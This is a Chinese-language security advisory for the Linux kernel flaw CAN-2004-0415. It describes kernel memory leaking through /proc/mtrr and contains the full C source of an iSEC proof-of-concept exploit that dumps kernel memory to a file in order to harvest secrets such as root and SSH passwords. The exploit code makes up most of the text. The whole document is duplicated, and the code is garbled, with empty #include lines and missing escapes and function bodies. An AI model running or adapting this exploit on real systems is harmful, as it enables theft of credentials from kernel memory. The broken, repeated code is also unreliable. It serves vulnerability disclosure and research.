描述:
------------------------------------------------------------------------------
--
CVE(CAN) ID: CAN-2004-0415
Linux是一款开放源代码操作系统。
Linux内核在处理64位文件偏移指针时存在问题,本地攻击者可以利用这个漏洞获得内核
内存中的敏感信息。
Linux内核对用户空间应用程序提供文件处理API,一般来说一个文件可以被文件名识别及
通过Open(2)系统调用打开返回内核文件对象的文件描述符。
文件对象的其中一个属性成为文件偏移(file offset),每次读写都从offset记录的位置
开始读写。另外通过lseek(2)系统调用也可以更改及标识介质上文件映象里的当前读/写
位置。
在最近的Linux内何中包含两个不同版本的文件处理API:旧的32位和新的64位(LFS)
API。ISEC小组发现多处代码不正确地从64位大小文件偏移转换为32位文件偏移,可导致
不安全的访问文件偏移成员变量。
ISEC发现多数/proc条目(如/proc/version)泄露未初始化内核内存页,可被攻击者利用获
得敏感信息。
利用/proc/mtrr文件可读取大量内核内存信息,包括ROOT密码,OPENSSH登录密码等。详
细利用方法可参看如下资料:
http://isec.pl/vulnerabilities/isec-0016-procleaks.txt
测试方法:
------------------------------------------------------------------------------
--
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Paul Starzetz (paul@starzetz.de)提供了如下测试方法:
/*
* gcc -O3 proc_kmem_dump.c -o proc_kmem_dump
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
// define machine mem size in MB
#define MEMSIZE 64
_syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
uint, wh);
void fatal(const char *msg)
{
printf("n");
if(!errno) {
fprintf(stderr, "FATAL ERROR: %sn", msg);
}
else {
perror(msg);
}
printf("n");
fflush(stdout);
fflush(stderr);
exit(31337);
}
static int cpid, nc, fd, pfd, r=0, i=0, csize, fsize=1024*1024*MEMSIZE,
size=PAGE_SIZE, us;
static volatile int go[2];
static loff_t off;
static char *buf=NULL, *file, child_stack[PAGE_SIZE];
static struct timeval tv1, tv2;
static struct stat st;
// child close sempahore & sleep
int start_child(void *arg)
{
// unlock parent & close semaphore
go[0]=0;
madvise(file, csize, MADV_DONTNEED);
madvise(file, csize, MADV_SEQUENTIAL);
gettimeofday(&tv1, NULL);
read(pfd, buf, 0);
go[0]=1;
r = madvise(file, csize, MADV_WILLNEED);
if(r)
fatal("madvise");
// parent blocked on mmap_sem? GOOD!
if(go[1] == 1 || _llseek(pfd, 0, 0, &off, SEEK_CUR)", name);
printf("nn");
exit(1);
}
int main(int ac, char **av)
{
if(ac<2)
usage(av[0]);
// mmap big file not in cache
r=stat(av[1], &st);
if(r)
fatal("stat file");
csize = (st.st_size + (PAGE_SIZE-1)) & ~(PAGE_SIZE-1);
fd=open(av[1], O_RDONLY);
if(fd<0)
fatal("open file");
file=mmap(NULL, csize, PROT_READ, MAP_SHARED, fd, 0);
if(file==MAP_FAILED)
fatal("mmap");
close(fd);
printf("n[+] mmaped uncached file at %p - %p", file, file+csize);
fflush(stdout);
pfd=open("/proc/mtrr", O_RDONLY);
if(pfd<0)
fatal("open");
fd=open("kmem.dat", O_RDWR|O_CREAT|O_TRUNC, 0644);
if(fd<0)
fatal("open data");
r=ftruncate(fd, fsize);
if(r<0)
fatal("ftruncate");
buf=mmap(NULL, fsize, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if(buf==MAP_FAILED)
fatal("mmap");
close(fd);
printf("n[+] mmaped kernel data file at %p", buf);
fflush(stdout);
// clone thread wait for child sleep
nc = nice(0);
cpid=clone(&start_child, child_stack + sizeof(child_stack)-4,
CLONE_FILES|CLONE_VM, NULL);
nice(19-nc);
while(go[0]==0) {
i++;
}
// try to read & sleep & move fpos to be negative
gettimeofday(&tv1, NULL);
go[1] = 1;
r = read(pfd, buf, size );
go[1] = 2;
gettimeofday(&tv2, NULL);
if(r<0)
fatal("read");
while(go[0]!=2) {
i++;
}
us = tv2.tv_sec - tv1.tv_sec;
us *= 1000000;
us += (tv2.tv_usec - tv1.tv_usec) ;
printf("n[+] READ %d bytes in %d usec", r, us); fflush(stdout);
r = _llseek(pfd, 0, 0, &off, SEEK_CUR);
if(r < 0 ) {
printf("n[+] SUCCESS, lseek fails, reading kernel mem...n");
fflush(stdout);
i=0;
for(;;) {
r = read(pfd, buf, PAGE_SIZE );
if(r!=PAGE_SIZE)
break;
buf += PAGE_SIZE;
i++;
printf("r PAGE %6d", i); fflush(stdout);
}
printf("n[+] done, err=%s", strerror(errno) );
fflush(stdout);
}
close(pfd);
printf("n");
sleep(1);
kill(cpid, 9);
return 0;
}'
------------------------------------------------------------------------------
--
CVE(CAN) ID: CAN-2004-0415
Linux是一款开放源代码操作系统。
Linux内核在处理64位文件偏移指针时存在问题,本地攻击者可以利用这个漏洞获得内核
内存中的敏感信息。
Linux内核对用户空间应用程序提供文件处理API,一般来说一个文件可以被文件名识别及
通过Open(2)系统调用打开返回内核文件对象的文件描述符。
文件对象的其中一个属性成为文件偏移(file offset),每次读写都从offset记录的位置
开始读写。另外通过lseek(2)系统调用也可以更改及标识介质上文件映象里的当前读/写
位置。
在最近的Linux内何中包含两个不同版本的文件处理API:旧的32位和新的64位(LFS)
API。ISEC小组发现多处代码不正确地从64位大小文件偏移转换为32位文件偏移,可导致
不安全的访问文件偏移成员变量。
ISEC发现多数/proc条目(如/proc/version)泄露未初始化内核内存页,可被攻击者利用获
得敏感信息。
利用/proc/mtrr文件可读取大量内核内存信息,包括ROOT密码,OPENSSH登录密码等。详
细利用方法可参看如下资料:
http://isec.pl/vulnerabilities/isec-0016-procleaks.txt
测试方法:
------------------------------------------------------------------------------
--
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Paul Starzetz (paul@starzetz.de)提供了如下测试方法:
/*
* gcc -O3 proc_kmem_dump.c -o proc_kmem_dump
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
// define machine mem size in MB
#define MEMSIZE 64
_syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
uint, wh);
void fatal(const char *msg)
{
printf("n");
if(!errno) {
fprintf(stderr, "FATAL ERROR: %sn", msg);
}
else {
perror(msg);
}
printf("n");
fflush(stdout);
fflush(stderr);
exit(31337);
}
static int cpid, nc, fd, pfd, r=0, i=0, csize, fsize=1024*1024*MEMSIZE,
size=PAGE_SIZE, us;
static volatile int go[2];
static loff_t off;
static char *buf=NULL, *file, child_stack[PAGE_SIZE];
static struct timeval tv1, tv2;
static struct stat st;
// child close sempahore & sleep
int start_child(void *arg)
{
// unlock parent & close semaphore
go[0]=0;
madvise(file, csize, MADV_DONTNEED);
madvise(file, csize, MADV_SEQUENTIAL);
gettimeofday(&tv1, NULL);
read(pfd, buf, 0);
go[0]=1;
r = madvise(file, csize, MADV_WILLNEED);
if(r)
fatal("madvise");
// parent blocked on mmap_sem? GOOD!
if(go[1] == 1 || _llseek(pfd, 0, 0, &off, SEEK_CUR)", name);
printf("nn");
exit(1);
}
int main(int ac, char **av)
{
if(ac<2)
usage(av[0]);
// mmap big file not in cache
r=stat(av[1], &st);
if(r)
fatal("stat file");
csize = (st.st_size + (PAGE_SIZE-1)) & ~(PAGE_SIZE-1);
fd=open(av[1], O_RDONLY);
if(fd<0)
fatal("open file");
file=mmap(NULL, csize, PROT_READ, MAP_SHARED, fd, 0);
if(file==MAP_FAILED)
fatal("mmap");
close(fd);
printf("n[+] mmaped uncached file at %p - %p", file, file+csize);
fflush(stdout);
pfd=open("/proc/mtrr", O_RDONLY);
if(pfd<0)
fatal("open");
fd=open("kmem.dat", O_RDWR|O_CREAT|O_TRUNC, 0644);
if(fd<0)
fatal("open data");
r=ftruncate(fd, fsize);
if(r<0)
fatal("ftruncate");
buf=mmap(NULL, fsize, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if(buf==MAP_FAILED)
fatal("mmap");
close(fd);
printf("n[+] mmaped kernel data file at %p", buf);
fflush(stdout);
// clone thread wait for child sleep
nc = nice(0);
cpid=clone(&start_child, child_stack + sizeof(child_stack)-4,
CLONE_FILES|CLONE_VM, NULL);
nice(19-nc);
while(go[0]==0) {
i++;
}
// try to read & sleep & move fpos to be negative
gettimeofday(&tv1, NULL);
go[1] = 1;
r = read(pfd, buf, size );
go[1] = 2;
gettimeofday(&tv2, NULL);
if(r<0)
fatal("read");
while(go[0]!=2) {
i++;
}
us = tv2.tv_sec - tv1.tv_sec;
us *= 1000000;
us += (tv2.tv_usec - tv1.tv_usec) ;
printf("n[+] READ %d bytes in %d usec", r, us); fflush(stdout);
r = _llseek(pfd, 0, 0, &off, SEEK_CUR);
if(r < 0 ) {
printf("n[+] SUCCESS, lseek fails, reading kernel mem...n");
fflush(stdout);
i=0;
for(;;) {
r = read(pfd, buf, PAGE_SIZE );
if(r!=PAGE_SIZE)
break;
buf += PAGE_SIZE;
i++;
printf("r PAGE %6d", i); fflush(stdout);
}
printf("n[+] done, err=%s", strerror(errno) );
fflush(stdout);
}
close(pfd);
printf("n");
sleep(1);
kill(cpid, 9);
return 0;
}'